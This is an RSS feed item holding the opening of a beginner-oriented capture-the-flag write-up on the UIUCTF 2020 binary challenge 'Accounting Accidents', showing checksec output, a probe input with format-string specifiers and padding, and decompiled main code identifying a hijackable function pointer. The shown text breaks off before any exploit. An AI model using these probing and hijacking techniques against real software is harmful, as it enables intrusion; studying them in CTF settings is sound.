<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Plaid Parliament of Pwning</title>
    <description>CTF Team @ Carnegie Mellon University</description>
    <link>https://pwning.net/</link>
    <atom:link href="https://pwning.net/feed.xml" rel="self" type="application/rss+xml" />
    
      <item>
        <title>Accounting Accidents</title>
        <description>&lt;p&gt;UIUCTF20 was a really fun Animal Crossing themed CTF that ran from July 17-19 2020. While I have not played the game before, I somewhat knew what it was about from watching Youtubers play it, and also from memes about the turnip stock market.&lt;/p&gt;

&lt;p&gt;PPP came in third place, which went above my expectations as most people playing were relatively new and I am quite happy with the results. Now, on to the writeup (which you can also read from the &lt;a href=&quot;https://fanpu.io/UIUCTF20-accounting-accidents-pwn-write-up&quot;&gt;original post&lt;/a&gt;)!&lt;/p&gt;

&lt;h3 id=&quot;accounting-accidents&quot;&gt;Accounting Accidents&lt;/h3&gt;
&lt;p&gt;You can download the binary &lt;a href=&quot;https://github.com/sajjadium/CTFium/raw/master/UIUCTF/2020/Accounting_Accidents/accounting&quot;&gt;here&lt;/a&gt; (sha256sum: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fcdc3991bed89b8aa5b509c4b6e205967a1e0b9e3fd041547492ebb75202130f&lt;/code&gt;). This writeup is targeted at beginners to pwn, where I will explain concepts more thoroughly and avoid making leaps in logic.&lt;/p&gt;

&lt;p&gt;I did not look at the flavortext before solving this challenge, taking it as a hint only when I get stuck. I will take a similar approach for this writeup, where we will discover together what the binary is doing.&lt;/p&gt;

&lt;p&gt;Let’s first check the security attributes of the binary:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;➜  accounting checksec accounting 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x8048000&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Interesting. It’s unlikely to be a ROP challenge since there is a canary, and NX means no executing shellcode on the stack. Let’s open up the binary in Ghidra and analyse it.&lt;/p&gt;

&lt;p&gt;Next run file:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;➜  accounting file accounting 
accounting: ELF 32-bit LSB executable, Intel 80386, version 1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SYSV&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, dynamically linked, interpreter /lib/ld-linux.so.2, &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;GNU/Linux 3.2.0, BuildID[sha1]&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;72ded94a52807f73d24ae7c72db8e29099a7bfc3, not stripped&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Awesome, it is not stripped. This means that debugging symbols like function names are still left in the binary, which should make reversing it a little easier.&lt;/p&gt;

&lt;h3 id=&quot;running&quot;&gt;Running&lt;/h3&gt;
&lt;p&gt;When you run the binary, there is a bunch of text that is printed out character by character. Isabelle then asks us for the name of an item, and then the cost of 4 other items. Afterwards, she puts the item through her accounting software, and outputs the results. It categorizes things into left and right. No idea what that means for now.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-raw&quot; data-lang=&quot;raw&quot;&gt;[NookAccounting]: Booting up Fancy Laser Accounting Generator (F.L.A.G.) at {0x8048878}
[NookAccounting]: Added &quot;Apples&quot; with cost of 10 bells to accounting spreadsheet.
[NookAccounting]: Added &quot;Fancy Seashells&quot; with cost of 20 bells to accounting spreadsheet.
[NookAccounting]: Added &quot;Tom Nook Shirts&quot; with cost of 30 bells to accounting spreadsheet.
[NookAccounting]: Added &quot;Airplane Ticket&quot; with cost of 40 bells to accounting spreadsheet.
[NookAccounting]: Added &quot;ATM Repairs&quot; with cost of 50 bells to accounting spreadsheet.
[Isabelle]: Oh no! I cant seem to find what this item is, but it cost 25 bells, what is it?
Item: %x %x %x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
[Isabelle]: Ohmygosh! Thank you for remembering! Now I can get back to work!
[NookAccounting]: Added &quot;%x %x %x AAAAAA&quot; with cost of 25 bells to accounting spreadsheet.

[Isabelle]: Ohmyheck! I dont know how much &quot;Shrub Trimming&quot; costs. Can you tell me?
Shrub Trimming Cost: 1
[NookAccounting]: Added &quot;Shrub Trimming&quot; with cost of 1 bells to accounting spreadsheet.


[Isabelle]: Thank you so much! You're the best, I added it to the accounting system now
[Isabelle]: Ohmyheck! I dont know how much &quot;Raymond Hush $$&quot; costs. Can you tell me?
Raymond Hush $$ Cost: -1
[NookAccounting]: Added &quot;Raymond Hush $$&quot; with cost of -1 bells to accounting spreadsheet.


[Isabelle]: Thank you so much! You're the best, I added it to the accounting system now
[Isabelle]: Ohmyheck! I dont know how much &quot;Town Hall Food&quot; costs. Can you tell me?
Town Hall Food Cost: 0
[NookAccounting]: Added &quot;Town Hall Food&quot; with cost of 0 bells to accounting spreadsheet.


[Isabelle]: Thank you so much! You're the best, I added it to the accounting system now
[Isabelle]: Ohmyheck! I dont know how much &quot;New Wall Art&quot; costs. Can you tell me?
New Wall Art Cost: 1


[Isabelle]: Thank you so much! You're the best, I added it to the accounting system now
[Isabelle]: Okay thank you so much! I'll run the accounting software at address 0x80487a6

===Nook(TM) Accounting Very Large Software V 10.49185.2a===
-=Left=-
Shrub Trimming: 1
Raymond Hush $$: -1
-=Right=-
Airplane Ticket: 40
ATM Repairs: 50
============================================&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We get a leak for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.text&lt;/code&gt; section (which is honestly pointless since there is no PIE (position independent execution)), and if we look at the source afterwards the address actually corresponds to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;print_flag&lt;/code&gt; function that basically does what it says. I also tried fuzzing it with large inputs to see if it causes a segfault from buffer overflows, followed by testing “%x” inputs to check for format string vulnerabilies. These are quick and simple ways of testing for any obvious vulnerabilities before diving in to reversing. None of those worked, so let’s get to reversing!&lt;/p&gt;

&lt;h3 id=&quot;reversing&quot;&gt;Reversing&lt;/h3&gt;
&lt;p&gt;Opening the file in Ghidra, we get the following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; function:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iVar2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in_GS_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_13c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_138&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_12c&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_11c&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_114&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;undefined&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  
  &lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stack0x00000004&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_14&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in_GS_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[NookAccounting]: Booting up Fancy Laser Accounting Generator (F.L.A.G.) at {%p}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
         &lt;span class=&quot;n&quot;&gt;print_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Apples&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Fancy Seashells&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Tom Nook Shirts&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Airplane Ticket&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ATM Repairs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_13c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;putchar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_12c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Shrub Trimming&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_12c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Raymond Hush $$&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_12c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Town Hall Food&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_12c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;New Wall Art&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;local_138&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_138&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_114&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;[Isabelle]: Ohmyheck! I dont know how much &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; costs. Can you tell me?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;%s Cost: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;local_12c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_138&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_12c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_138&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fancy_print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_114&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fflush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_11c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_11c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iVar2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;atoi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_11c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;local_13c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_13c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_12c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_138&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;putchar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fancy_print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
               &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[Isabelle]: Thank you so much! You&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;re the best, I added it to the accountingsystem now&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
               &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;local_138&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_138&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_114&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;&quot;[Isabelle]: Okay thank you so much! I&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ll run the accounting software at address %p&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_13c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;fancy_print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_114&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_13c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_13c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;putchar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local_14&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in_GS_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__stack_chk_fail_local&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The print statements pretty up matches to what we saw when running the program. We also see a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read&lt;/code&gt; in line 37, but it reads in 8 bytes into a buffer of 8 bytes, so there is no overflow for this. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fancy_print&lt;/code&gt; is what probably prints the buffer character-by-character, so I did not bother reversing it. I thought it was annoying at first, but then I remembered the Animal Crossing theme, so afterwards I thought it was cute.&lt;/p&gt;

&lt;p&gt;The most interesting part is in line 50, where we see a function pointer being called: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(**(code **)(local_13c + 0x20))(local_13c);&lt;/code&gt;. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;local_13c&lt;/code&gt; is probably a struct of some sort, and has a function pointer at offset 0x20. It passes itself as an argument to the function.&lt;/p&gt;

&lt;p&gt;Let’s take a look at insert:&lt;/p&gt;

